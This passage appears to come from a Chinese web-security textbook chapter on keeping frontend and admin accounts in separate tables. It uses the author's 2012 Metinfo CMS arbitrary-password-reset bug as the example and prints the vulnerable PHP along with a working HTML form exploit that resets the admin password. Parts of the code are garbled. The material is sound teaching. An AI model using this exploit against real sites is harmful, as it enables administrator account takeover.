12.2 前后台用户分表

前台用户指的是没有登入后台权限的普通用户,这类用户是不需要操作后台数据的,而后台用户即管理员用户,有后台登入权限,并且可以在后台对应用进行配置,从逻辑上来讲,两个不在同一操作层面的账户等级,完全不用将账户放到同一个数据库表里面,因为当同表的情况下可能存在越权修改管理员信息的情况,比如密码、找回密码的邮箱等,这一类的例子已经不少见,比如像笔者2012年发现的metinfo企业管理系统的任意用户密码修改漏洞,就可以修改管理员的密码,具体的漏洞情况如下。

Metinfo系统的会员和管理员都在met_admin_table表,我们看到member\save.php文件,代码如下:


if $action=="editor" {

$query = "update $met_admin_table SET

    admin_id           = '$useid'


    admin_name         = '$realname'


    admin_sex          = '$sex'


    admin_tel          = '$tel'


    admin_modify_ip    = '$m_user_ip'


    admin_mobile       = '$mobile'


    admin_email        = '$email'


    admin_qq           = '$qq'


    admin_msn          = '$msn'


    admin_taobao       = '$taobao'


    admin_introduction = '$admin_introduction'


    admin_modify_date  = '$m_now_date'


    companyname        = '$companyname'


    companyaddress     = '$companyaddress'


    companyfax           = '$companyfax'


    companycode           = '$companycode'


    companywebsite      = '$companywebsite'"


if
$pass1 {

$pass1=md5
$pass1 );

$query .="
admin_pass         = '$pass1'"

}

$query .="  where admin_id='$useid'"


$db->query
$query );

Metinfo系统跟dedecms一样,有一个变量注册的机制,只要我们在HTTP请求里面提交一个参数,就会被自动注册成变量,这段代码中的SQL语句拼接起来大概的意思如下:


update $met_admin_table SET ... 省略 ... admin_pass = '$pass1' where admin_id='$useid'

由于这里的$useid变量就是直接从请求中获取,所以当我们提交用户ID为1,即管理员用户的时候,就可以直接修改管理员密码,利用代码如下:


<form method="POST" name="myform"

action="http
//www.xx.com/member/save.php action=editor" target="_self">

<table cellpadding="2" cellspacing="1" border="0" width="95%" class="table_member">

        <tr>

            <td class="member_text"><font color="#FF0000">*</font>
用户名

                &nbsp
</td>

            <td colspan="2" class="member_input"> <input name="useid"

                type="text" class="input" size="20" maxlength="20"

        value="seay" ></td> </tr>

        <tr>

        <td class="member_text"><font color="#FF0000">*</font>
密码

            &nbsp
</td>

        <td colspan="2" class="member_input"> <input name="pass1"

            type="password" class="input" size="20"

        maxlength="20"></td>

        </tr>

        <td class="member_submit"><input type="submit" name="Submit" value="
提交信息 " class="submit"></td>

        </tr>

</form>

保存为以上内容为1.html,用户名输入框填写要修改的用户名(管理员基本用户名都是admin),密码填写成要修改成的密码,修改代码中www.xx.com为目标网站域名,提交之后即可修改该用户密码。

笔者当时测试了下官方Demo网站,成功修改创始人密码,并且成功登入管理后台,如图12-3所示,该漏洞已经在第一时间提交给官方修复。

图 12-3

通过以上例子可以看出将前后台用户分表存储的必要性,可以很大程度上防止账户体系上的越权漏洞。